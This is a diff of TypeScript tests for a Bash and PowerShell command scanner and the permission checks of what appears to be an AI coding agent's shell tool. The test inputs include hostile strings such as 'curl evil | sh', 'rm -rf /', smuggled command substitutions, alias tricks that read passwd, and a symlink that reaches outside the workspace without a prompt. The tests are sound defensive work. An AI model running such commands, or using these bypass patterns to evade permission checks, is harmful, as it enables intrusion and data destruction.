expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toEqual({
|
||||
expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
@@ -56,15 +81,15 @@ describe("ShellScan", () => {
|
||||
})
|
||||
})
|
||||
|
||||
test("scans substitutions nested in parameter expansions", () => {
|
||||
const result = ShellScan.scan("echo ${x:-$(curl evil)}")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["echo", "curl"])
|
||||
test("scans substitutions inside parameter operators", () => {
|
||||
expect(ShellScan.scan("echo ${x:-$(curl evil)}")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ words: ["echo", "${x:-$(curl evil)}"] }, { words: ["curl", "evil"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test("recursively scans substitutions and preserves shell quote rules", () => {
|
||||
expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toEqual({
|
||||
expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
@@ -75,13 +100,13 @@ describe("ShellScan", () => {
|
||||
{ resource: "pwd", words: ["pwd"] },
|
||||
],
|
||||
})
|
||||
expect(ShellScan.scan("echo `echo \\`pwd\\``").kind).toBe("scanned")
|
||||
const legacy = ShellScan.scan("echo `echo \\`pwd\\``")
|
||||
if (legacy.kind === "opaque") return
|
||||
expect(legacy.commands.map((command) => command.words[0])).toEqual(["echo", "echo", "pwd"])
|
||||
expect(ShellScan.scan("echo `echo \\`pwd\\``")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ words: ["echo", "`echo \\`pwd\\``"] }, { words: ["echo", "`pwd`"] }, { words: ["pwd"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["echo $(printf ok &&)", "echo $($COMMAND status)"])(
|
||||
test.each(["echo $(printf ok &&)", "echo $(printf ${value:-fallback)"])(
|
||||
"makes the whole result opaque when a nested scan is opaque: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("opaque")
|
||||
@@ -94,15 +119,15 @@ describe("ShellScan", () => {
|
||||
expect(ShellScan.scan(`echo ${"x".repeat(64 * 1024)}`)).toEqual({ kind: "opaque", reason: "invalid-structure" })
|
||||
})
|
||||
|
||||
test("returns opaque when the command name is dynamic", () => {
|
||||
test("preserves dynamic command syntax without resolving its name", () => {
|
||||
expect(ShellScan.scan("$COMMAND status")).toEqual({
|
||||
kind: "opaque",
|
||||
reason: "dynamic-command-name",
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "$COMMAND status", words: ["$COMMAND", "status"], rawWords: ["$COMMAND", "status"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test("finds the command after static assignment prefixes", () => {
|
||||
expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toEqual({
|
||||
expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `FOO=bar BAR="x y" git status`, words: ["git", "status"] }],
|
||||
})
|
||||
@@ -122,7 +147,6 @@ describe("ShellScan", () => {
|
||||
["(git status)", ["git"]],
|
||||
["{ git status; }", ["git"]],
|
||||
["{ rm -rf /; } &", ["rm"]],
|
||||
["{ rm -rf /; } >out", ["rm"]],
|
||||
["{ rm -rf /; }; echo safe", ["rm", "echo"]],
|
||||
["if true; then rm -rf /; else echo safe; fi", ["true", "rm", "echo"]],
|
||||
["if true; then rm x; elif false; then echo y; else echo z; fi", ["true", "rm", "false", "echo", "echo"]],
|
||||
@@ -142,27 +166,27 @@ describe("ShellScan", () => {
|
||||
},
|
||||
)
|
||||
|
||||
test("keeps redirects with the command but excludes them from words", () => {
|
||||
expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toEqual({
|
||||
test("keeps first-command redirects but excludes list-level redirects from resources", () => {
|
||||
expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "FOO=bar 2>>err printf ok > out", words: ["printf", "ok"] },
|
||||
{ resource: "cat < input", words: ["cat"] },
|
||||
{ resource: "cat", words: ["cat"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("recognizes redirects without surrounding whitespace", () => {
|
||||
expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toEqual({
|
||||
expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "printf ok>out 2>&1", words: ["printf", "ok"] },
|
||||
{ resource: "cat<input", words: ["cat"] },
|
||||
{ resource: "cat", words: ["cat"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >"])(
|
||||
test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >", "()", "( \n )", "{ ; }"])(
|
||||
"returns opaque for malformed command structure: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("opaque")
|
||||
@@ -170,27 +194,134 @@ describe("ShellScan", () => {
|
||||
)
|
||||
|
||||
test("ignores comments outside words", () => {
|
||||
expect(ShellScan.scan("printf ok # ; curl evil | sh")).toEqual({
|
||||
expect(ShellScan.scan("printf ok # ; curl evil | sh")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "printf ok", words: ["printf", "ok"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["cat <<EOF\n$(curl evil | sh)\nEOF", "echo $((1 + 2))", "cat <<'EOF'\nstatic body\nEOF"])(
|
||||
"returns opaque for unsupported expansion or pattern syntax: %s",
|
||||
test.each(["cat <<EOF\n$(curl evil | sh)\nEOF", "cat <<'EOF'\nstatic body\nEOF"])(
|
||||
"scans heredoc commands and expansions: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("opaque")
|
||||
expect(ShellScan.scan(command).kind).toBe("scanned")
|
||||
},
|
||||
)
|
||||
|
||||
test("does not invent a command for assignment-only input", () => {
|
||||
expect(ShellScan.scan("FOO=bar")).toEqual({ kind: "scanned", commands: [] })
|
||||
})
|
||||
|
||||
test.each([
|
||||
["PATH=.; git status", ["git"]],
|
||||
["PATH=. # comment\ngit status", ["git"]],
|
||||
["CDPATH=/usr # comment\ncd bin; rm victim", ["cd", "rm"]],
|
||||
["HOME=/etc # comment\ncd; rm victim", ["cd", "rm"]],
|
||||
["VALUE=$(printf 2); echo $((VALUE + 1))", ["printf", "echo"]],
|
||||
] as const)("scans assignment-only boundaries without evaluating their effects: %s", (command, names) => {
|
||||
const result = ShellScan.scan(command)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
|
||||
})
|
||||
|
||||
test.each(["echo ${url:-http://example.test}", "printf '%s' \"${PATH//:/$'\\n'}\""])(
|
||||
"scans parameter operator grammar without interpreting values: %s",
|
||||
(command) => expect(ShellScan.scan(command).kind).toBe("scanned"),
|
||||
)
|
||||
|
||||
test.each([
|
||||
":; { touch /tmp/victim; }",
|
||||
"{fd}>/tmp/log touch /tmp/victim",
|
||||
"time touch /tmp/victim",
|
||||
"printf '%s' \"$(printf safe ${x%)}; touch /tmp/victim)\"",
|
||||
"s=abc; x='a[$(touch /tmp/victim)0]'; printf '%s' \"${s:x}\"",
|
||||
"ref='x[$(touch /tmp/victim)0]'; printf '%s' \"${!ref}\"",
|
||||
"if true; then echo safe; fi > /tmp/victim",
|
||||
"if true; then :; 'if' victim; fi",
|
||||
])("scans Bash lexical forms without interpreting shell values: %s", (command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("scanned")
|
||||
})
|
||||
test("bounds nested parameter expansions", () => {
|
||||
expect(ShellScan.scan(`printf '%s' "${"${".repeat(1000)}x${"}".repeat(1000)}"`).kind).toBe("opaque")
|
||||
})
|
||||
})
|
||||
|
||||
describe("ShellScan lexical provenance", () => {
|
||||
test("retains Bash quotes and escapes while excluding assignment prefixes and redirects", () => {
|
||||
const source = `FOO='x y' 2>"error log" g"it" 'status' a\\ b "" >output`
|
||||
expect(ShellScan.scan(source)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
resource: source,
|
||||
words: ["git", "status", "a b", ""],
|
||||
rawWords: ['g"it"', "'status'", "a\\ b", '""'],
|
||||
},
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("does not mistake quoted assignment-like words or fd numbers for shell syntax", () => {
|
||||
expect(ShellScan.scan(`F"OO"=bar '123'>out`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `F"OO"=bar '123'>out`, words: ["FOO=bar", "123"], rawWords: ['F"OO"=bar', "'123'"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test("retains nested Bash substitutions and continuations from the original token", () => {
|
||||
const source = "echo \"$(printf '%s' 2)\" a\\\nb; pwd"
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
resource: "echo \"$(printf '%s' 2)\" a\\\nb",
|
||||
words: ["echo", "$(printf '%s' 2)", "ab"],
|
||||
rawWords: ["echo", "\"$(printf '%s' 2)\"", "a\\\nb"],
|
||||
},
|
||||
{ resource: "printf '%s' 2", words: ["printf", "%s", "2"], rawWords: ["printf", "'%s'", "2"] },
|
||||
{ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("retains PowerShell invocation quotes, escaped words, and empty arguments", () => {
|
||||
const source = `& 'Write-Output' "a""b" a\`#b '' >'out file' 2>&1`
|
||||
expect(ShellScan.scanPowerShell(source)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
resource: source,
|
||||
words: ["Write-Output", 'a"b', "a#b", ""],
|
||||
rawWords: ["'Write-Output'", '"a""b"', "a`#b", "''"],
|
||||
},
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("keeps separate PowerShell literal tokens and nested script block spans", () => {
|
||||
const source = "ForEach-Object { Write-Output 'safe'tail }"
|
||||
expect(ShellScan.scanPowerShell(source)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
resource: source,
|
||||
words: ["ForEach-Object", "{ Write-Output 'safe'tail }"],
|
||||
rawWords: ["ForEach-Object", "{ Write-Output 'safe'tail }"],
|
||||
},
|
||||
{
|
||||
resource: "Write-Output 'safe'tail",
|
||||
words: ["Write-Output", "safe", "tail"],
|
||||
rawWords: ["Write-Output", "'safe'", "tail"],
|
||||
},
|
||||
],
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe("ShellScan PowerShell", () => {
|
||||
test("keeps adjacent invocation operators in resources", () => {
|
||||
expect(ShellScan.scanPowerShell("&Remove-Item victim")).toEqual({
|
||||
expect(ShellScan.scanPowerShell("&Remove-Item victim")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "&Remove-Item victim", words: ["Remove-Item", "victim"] }],
|
||||
})
|
||||
@@ -235,7 +366,7 @@ describe("ShellScan PowerShell", () => {
|
||||
})
|
||||
|
||||
test("scans static commands and pipelines", () => {
|
||||
expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toEqual({
|
||||
expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "Get-ChildItem", words: ["Get-ChildItem"] },
|
||||
@@ -246,28 +377,32 @@ describe("ShellScan PowerShell", () => {
|
||||
})
|
||||
|
||||
test("keeps separators inside strings", () => {
|
||||
expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"')).toEqual({
|
||||
expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"')).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: 'Write-Output "safe; still safe"', words: ["Write-Output", "safe; still safe"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test("treats escaped command separators as opaque for legacy compatibility", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output foo`;bar")).toEqual({
|
||||
kind: "opaque",
|
||||
reason: "invalid-structure",
|
||||
test("keeps escaped command separators in the argument", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output foo`;bar")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "Write-Output foo`;bar", words: ["Write-Output", "foo;bar"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test("treats line continuations as opaque for legacy compatibility", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output x`\nRemove-Item victim")).toEqual({
|
||||
kind: "opaque",
|
||||
reason: "invalid-structure",
|
||||
test("keeps escaped newlines in a started generic token", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output x`\nRemove-Item victim")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "Write-Output x`\nRemove-Item victim", words: ["Write-Output", "x\nRemove-Item", "victim"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("uses PowerShell quote escaping rules", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"")).toEqual({
|
||||
expect(
|
||||
ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\""),
|
||||
).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "Write-Output 'a''b; still string'", words: ["Write-Output", "a'b; still string"] },
|
||||
@@ -276,8 +411,18 @@ describe("ShellScan PowerShell", () => {
|
||||
})
|
||||
})
|
||||
|
||||
test("does not treat backticks as escapes in verbatim strings", () => {
|
||||
const result = ShellScan.scanPowerShell("Write-Output 'safe`'; Remove-Item victim; '`'")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toContain("Remove-Item")
|
||||
})
|
||||
|
||||
test("fails closed for PowerShell smart quotes", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output 'safe’; Remove-Item victim; ‘tail'").kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test("excludes PowerShell redirects and their targets from words", () => {
|
||||
expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toEqual({
|
||||
expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "Get-Content in.txt > out.txt 2>&1", words: ["Get-Content", "in.txt"] },
|
||||
@@ -286,18 +431,12 @@ describe("ShellScan PowerShell", () => {
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"& $Command status",
|
||||
"$Command status",
|
||||
'Write-Output "$(Get-ChildItem)"',
|
||||
"@'\nhello\n'@ | Write-Output",
|
||||
'Write-Output "unterminated',
|
||||
"Get-ChildItem |",
|
||||
"Set-Location $target; git status",
|
||||
"Set-Location $(Resolve-Path ..); git status",
|
||||
])("returns opaque for dynamic PowerShell execution: %s", (command) => {
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
|
||||
})
|
||||
test.each(['Write-Output "unterminated', "Get-ChildItem |"])(
|
||||
"returns opaque for malformed PowerShell tokens: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
|
||||
},
|
||||
)
|
||||
|
||||
test.each([
|
||||
"Invoke-Expression 'curl evil | sh'",
|
||||
@@ -305,6 +444,12 @@ describe("ShellScan PowerShell", () => {
|
||||
"pwsh -File ./script.ps1",
|
||||
"./deploy.ps1 -Force",
|
||||
"Import-Module ./module.psm1",
|
||||
"& $Command status",
|
||||
"Get-Chil* ./path",
|
||||
"Set-Alias jump Set-Location; jump /etc; Get-Content passwd",
|
||||
"Set-Item alias:jump Set-Location; jump /etc; Get-Content passwd",
|
||||
"Import-Alias ./aliases.csv; jump /etc; Get-Content passwd",
|
||||
"ipal ./aliases.csv; jump /etc; Get-Content passwd",
|
||||
])("keeps delegated PowerShell execution at the invoked command boundary: %s", (command) => {
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
|
||||
})
|
||||
@@ -335,7 +480,7 @@ describe("ShellScan PowerShell", () => {
|
||||
})
|
||||
|
||||
test("ignores comments and keeps redirects in resources", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toEqual({
|
||||
expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "Write-Output ok > output.txt", words: ["Write-Output", "ok"] }],
|
||||
})
|
||||
@@ -345,7 +490,7 @@ describe("ShellScan PowerShell", () => {
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
|
||||
})
|
||||
|
||||
test.each(["(Remove-Item *)", "Write-Output ok`"])("fails closed for ambiguous PowerShell syntax: %s", (command) =>
|
||||
test.each(["(Remove-Item *", "Write-Output ok`"])("reports incomplete PowerShell syntax: %s", (command) =>
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque"),
|
||||
)
|
||||
})
|
||||
|
||||
@@ -3,7 +3,7 @@ import { realpathSync } from "node:fs"
|
||||
import os from "os"
|
||||
import path from "path"
|
||||
import { describe, expect } from "bun:test"
|
||||
import { Deferred, Duration, Effect, Fiber, Layer, Scope, Stream } from "effect"
|
||||
import { Cause, Deferred, Duration, Effect, Exit, Fiber, Layer, Queue, Scope, Stream } from "effect"
|
||||
import { Money } from "@opencode-ai/schema/money"
|
||||
import { AppNodeBuilder } from "@opencode-ai/core/effect/app-node-builder"
|
||||
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
|
||||
@@ -29,6 +29,7 @@ import { SessionExecution } from "@opencode-ai/core/session/execution"
|
||||
import { SessionMessage } from "@opencode-ai/core/session/message"
|
||||
import { SessionStore } from "@opencode-ai/core/session/store"
|
||||
import { Permission } from "@opencode-ai/core/permission"
|
||||
import { PermissionSaved } from "@opencode-ai/core/permission/saved"
|
||||
import { PluginRuntime } from "@opencode-ai/core/plugin/runtime"
|
||||
import { PluginSupervisor } from "@opencode-ai/core/plugin/supervisor"
|
||||
import { Shell } from "@opencode-ai/core/shell"
|
||||
@@ -158,6 +159,13 @@ const replacements = [
|
||||
] satisfies LayerNode.Replacements
|
||||
const productionIt = testEffect(AppNodeBuilder.build(nodes, replacements))
|
||||
const it = testEffect(AppNodeBuilder.build(nodes, [...replacements, [PluginSupervisor.node, shellPluginSupervisor]]))
|
||||
const permissionIt = testEffect(
|
||||
AppNodeBuilder.build(LayerNode.group([nodes, PermissionSaved.node]), [
|
||||
[SessionExecution.node, executionNode],
|
||||
[Global.node, tempGlobalLayer],
|
||||
[PluginSupervisor.node, shellPluginSupervisor],
|
||||
]),
|
||||
)
|
||||
|
||||
const call = (input: typeof ShellTool.Input.Type, id = "call-shell") => ({
|
||||
sessionID,
|
||||
@@ -212,6 +220,488 @@ const withSession = <A, E, R>(directory: string, body: (registry: Tool.Interface
|
||||
}).pipe(Effect.provide(locationLayer), Effect.ensuring(locations.invalidate(location)))
|
||||
})
|
||||
|
||||
const withScanner = <A, E, R>(
|
||||
portable: boolean,
|
||||
body: (registry: Tool.Interface, fixture: { active: string; outside: string }) => Effect.Effect<A, E, R>,
|
||||
shell = "sh",
|
||||
) =>
|
||||
Effect.acquireUseRelease(
|
||||
Effect.promise(() => tmpdir()),
|
||||
(tmp) =>
|
||||
Effect.gen(function* () {
|
||||
const fixture = { active: path.join(tmp.path, "active"), outside: path.join(tmp.path, "outside") }
|
||||
yield* Effect.promise(() => Promise.all([fs.mkdir(fixture.active), fs.mkdir(fixture.outside)]))
|
||||
yield* Effect.promise(() =>
|
||||
Bun.write(
|
||||
path.join(fixture.active, "opencode.json"),
|
||||
JSON.stringify({ experimental: { portable_shell_scanner: portable } }),
|
||||
),
|
||||
)
|
||||
return yield* withSession(fixture.active, (registry) =>
|
||||
Effect.gen(function* () {
|
||||
const selection = yield* ShellSelect.Service
|
||||
yield* selection.transform((draft) => draft.configure(shell))
|
||||
const agents = yield* Agent.Service
|
||||
yield* agents.transform((draft) =>
|
||||
draft.update(toolIdentity.agent, (agent) => {
|
||||
agent.permissions = []
|
||||
}),
|
||||
)
|
||||
return yield* body(registry, fixture)
|
||||
}),
|
||||
)
|
||||
}),
|
||||
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
|
||||
)
|
||||
|
||||
const runPermissionCommand = (
|
||||
registry: Tool.Interface,
|
||||
command: string,
|
||||
marker: string,
|
||||
replies: ReadonlyArray<Permission.Reply>,
|
||||
) =>
|
||||
Effect.gen(function* () {
|
||||
const permission = yield* Permission.Service
|
||||
const bus = yield* Bus.Service
|
||||
const queue = yield* Queue.unbounded<Permission.Request>()
|
||||
yield* bus.subscribe(Permission.Event.Asked).pipe(
|
||||
Stream.runForEach((event) => Queue.offer(queue, event.data)),
|
||||
Effect.forkScoped({ startImmediately: true }),
|
||||
)
|
||||
const execution = yield* executeTool(registry, call({ command }, `call-${Permission.ID.create()}`)).pipe(
|
||||
Effect.forkScoped,
|
||||
)
|
||||
const requests = yield* Effect.forEach(replies, (reply) =>
|
||||
Effect.gen(function* () {
|
||||
const request = yield* Queue.take(queue)
|
||||
expect(yield* permission.forSession(sessionID)).toEqual([request])
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
|
||||
yield* permission.reply({ requestID: request.id, reply })
|
||||
return request
|
||||
}),
|
||||
)
|
||||
const exit = yield* Fiber.await(execution)
|
||||
expect(yield* permission.list()).toEqual([])
|
||||
expect(yield* Queue.size(queue)).toBe(0)
|
||||
return { exit, requests }
|
||||
}).pipe(Effect.scoped, Effect.timeout(Duration.seconds(5)))
|
||||
|
||||
// Directory cases still document inherited limitations; fixed scanner cases require matching behavior.
|
||||
describe("ShellTool scanner permissions", () => {
|
||||
const test = isWindows || !Bun.which("sh") ? permissionIt.live.skip : permissionIt.live
|
||||
for (const portable of [false, true]) {
|
||||
const scanner = portable ? "native" : "legacy"
|
||||
|
||||
test(`${scanner}: declarations reuse approvals while substitutions retain reject/once/always behavior`, () =>
|
||||
withScanner(portable, (registry, fixture) =>
|
||||
Effect.gen(function* () {
|
||||
const saved = yield* PermissionSaved.Service
|
||||
const location = yield* Location.Service
|
||||
yield* saved.add({ projectID: location.project.id, action: "shell", resources: ["printf *"] })
|
||||
const marker = path.join(fixture.active, "marker")
|
||||
const approved = yield* runPermissionCommand(
|
||||
registry,
|
||||
"export SCAN_TEST=hello; unset SCAN_TEST; printf hello > marker",
|
||||
marker,
|
||||
[],
|
||||
)
|
||||
expect(approved.requests).toEqual([])
|
||||
expect(approved.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: { status: "completed", metadata: { exit: 0 } },
|
||||
})
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
|
||||
expect((yield* saved.list()).map((item) => item.resource)).toEqual(["printf *"])
|
||||
|
||||
yield* Effect.forEach(yield* saved.list(), (item) => saved.remove(item.id))
|
||||
const command = 'export SCAN_TEST=$(printf hello); printf %s "$SCAN_TEST" > marker'
|
||||
const prompts: Permission.Request[] = []
|
||||
for (const reply of ["reject", "once", "always", undefined] as const) {
|
||||
yield* Effect.promise(() => fs.rm(marker, { force: true }))
|
||||
const result = yield* runPermissionCommand(registry, command, marker, reply ? [reply] : [])
|
||||
prompts.push(...result.requests)
|
||||
if (reply === "reject") {
|
||||
expect(Exit.isFailure(result.exit)).toBe(true)
|
||||
if (Exit.isFailure(result.exit))
|
||||
expect(
|
||||
result.exit.cause.reasons.some(
|
||||
(reason) => Cause.isDieReason(reason) && reason.defect instanceof Permission.DeclinedError,
|
||||
),
|
||||
).toBe(true)
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
|
||||
continue
|
||||
}
|
||||
expect(result.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: { status: "completed", metadata: { exit: 0 } },
|
||||
})
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
|
||||
if (reply === "once") expect(yield* saved.list()).toEqual([])
|
||||
}
|
||||
expect(prompts).toHaveLength(3)
|
||||
for (const request of prompts) {
|
||||
expect(request).toMatchObject({
|
||||
action: "shell",
|
||||
resources: ["printf hello", 'printf %s "$SCAN_TEST" > marker'],
|
||||
save: ["printf *", "printf *"],
|
||||
})
|
||||
}
|
||||
expect((yield* saved.list()).map((item) => item.resource)).toEqual(["printf *"])
|
||||
|
||||
const agents = yield* Agent.Service
|
||||
yield* agents.transform((draft) =>
|
||||
draft.update(toolIdentity.agent, (agent) => {
|
||||
agent.permissions = [{ action: "shell", resource: "printf hello", effect: "deny" }]
|
||||
}),
|
||||
)
|
||||
yield* Effect.promise(() => fs.rm(marker))
|
||||
const denied = yield* runPermissionCommand(registry, command, marker, [])
|
||||
expect(denied.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
|
||||
})
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
|
||||
}),
|
||||
))
|
||||
|
||||
test(`${scanner}: pipeline redirect preserves exact approval and denial despite broad saved approval`, () =>
|
||||
withScanner(portable, (registry, fixture) =>
|
||||
Effect.gen(function* () {
|
||||
const saved = yield* PermissionSaved.Service
|
||||
const location = yield* Location.Service
|
||||
yield* saved.add({ projectID: location.project.id, action: "shell", resources: ["printf hello", "cat"] })
|
||||
const marker = path.join(fixture.active, "marker")
|
||||
const command = "printf hello | cat > marker"
|
||||
const exact = yield* runPermissionCommand(registry, command, marker, [])
|
||||
expect(exact.requests).toEqual([])
|
||||
expect(exact.exit).toMatchObject({ _tag: "Success", value: { status: "completed", metadata: { exit: 0 } } })
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
|
||||
|
||||
yield* saved.add({ projectID: location.project.id, action: "shell", resources: ["printf *", "cat *"] })
|
||||
yield* Effect.promise(() => fs.rm(marker))
|
||||
const broad = yield* runPermissionCommand(registry, command, marker, [])
|
||||
expect(broad.requests).toEqual([])
|
||||
expect(broad.exit).toMatchObject({ _tag: "Success", value: { status: "completed", metadata: { exit: 0 } } })
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
|
||||
|
||||
const agents = yield* Agent.Service
|
||||
yield* agents.transform((draft) =>
|
||||
draft.update(toolIdentity.agent, (agent) => {
|
||||
agent.permissions = [{ action: "shell", resource: "cat", effect: "deny" }]
|
||||
}),
|
||||
)
|
||||
yield* Effect.promise(() => fs.rm(marker))
|
||||
const denied = yield* runPermissionCommand(registry, command, marker, [])
|
||||
expect(denied.requests).toEqual([])
|
||||
expect(denied.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
|
||||
})
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
|
||||
}),
|
||||
))
|
||||
|
||||
test(`${scanner}: external-directory rejection stops execution before a workspace marker is written`, () =>
|
||||
withScanner(portable, (registry, fixture) =>
|
||||
Effect.gen(function* () {
|
||||
const agents = yield* Agent.Service
|
||||
yield* agents.transform((draft) =>
|
||||
draft.update(toolIdentity.agent, (agent) => {
|
||||
agent.permissions = [{ action: "shell", resource: "*", effect: "allow" }]
|
||||
}),
|
||||
)
|
||||
const marker = path.join(fixture.active, "marker")
|
||||
const command = `cd '${fixture.outside}' && pwd -P && printf reached > '${marker}'`
|
||||
for (const reply of ["reject", "once"] as const) {
|
||||
const result = yield* runPermissionCommand(registry, command, marker, [reply])
|
||||
expect(result.requests).toMatchObject([
|
||||
{ action: "external_directory", resources: [path.join(fixture.outside, "*")] },
|
||||
])
|
||||
if (reply === "reject") {
|
||||
expect(Exit.isFailure(result.exit)).toBe(true)
|
||||
if (Exit.isFailure(result.exit))
|
||||
expect(
|
||||
result.exit.cause.reasons.some(
|
||||
(reason) => Cause.isDieReason(reason) && reason.defect instanceof Permission.DeclinedError,
|
||||
),
|
||||
).toBe(true)
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
|
||||
continue
|
||||
}
|
||||
expect(result.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: {
|
||||
status: "completed",
|
||||
metadata: { exit: 0 },
|
||||
content: [{ type: "text", text: `${fixture.outside}\n` }, { type: "text" }],
|
||||
},
|
||||
})
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("reached")
|
||||
}
|
||||
}),
|
||||
))
|
||||
|
||||
test(`${scanner}: a numeric symlink operand still reaches outside without an external-directory prompt`, () =>
|
||||
withScanner(portable, (registry, fixture) =>
|
||||
Effect.gen(function* () {
|
||||
yield* Effect.promise(() => fs.symlink(fixture.outside, path.join(fixture.active, "123")))
|
||||
const agents = yield* Agent.Service
|
||||
yield* agents.transform((draft) =>
|
||||
draft.update(toolIdentity.agent, (agent) => {
|
||||
agent.permissions = [
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
{ action: "external_directory", resource: "*", effect: "deny" },
|
||||
]
|
||||
}),
|
||||
)
|
||||
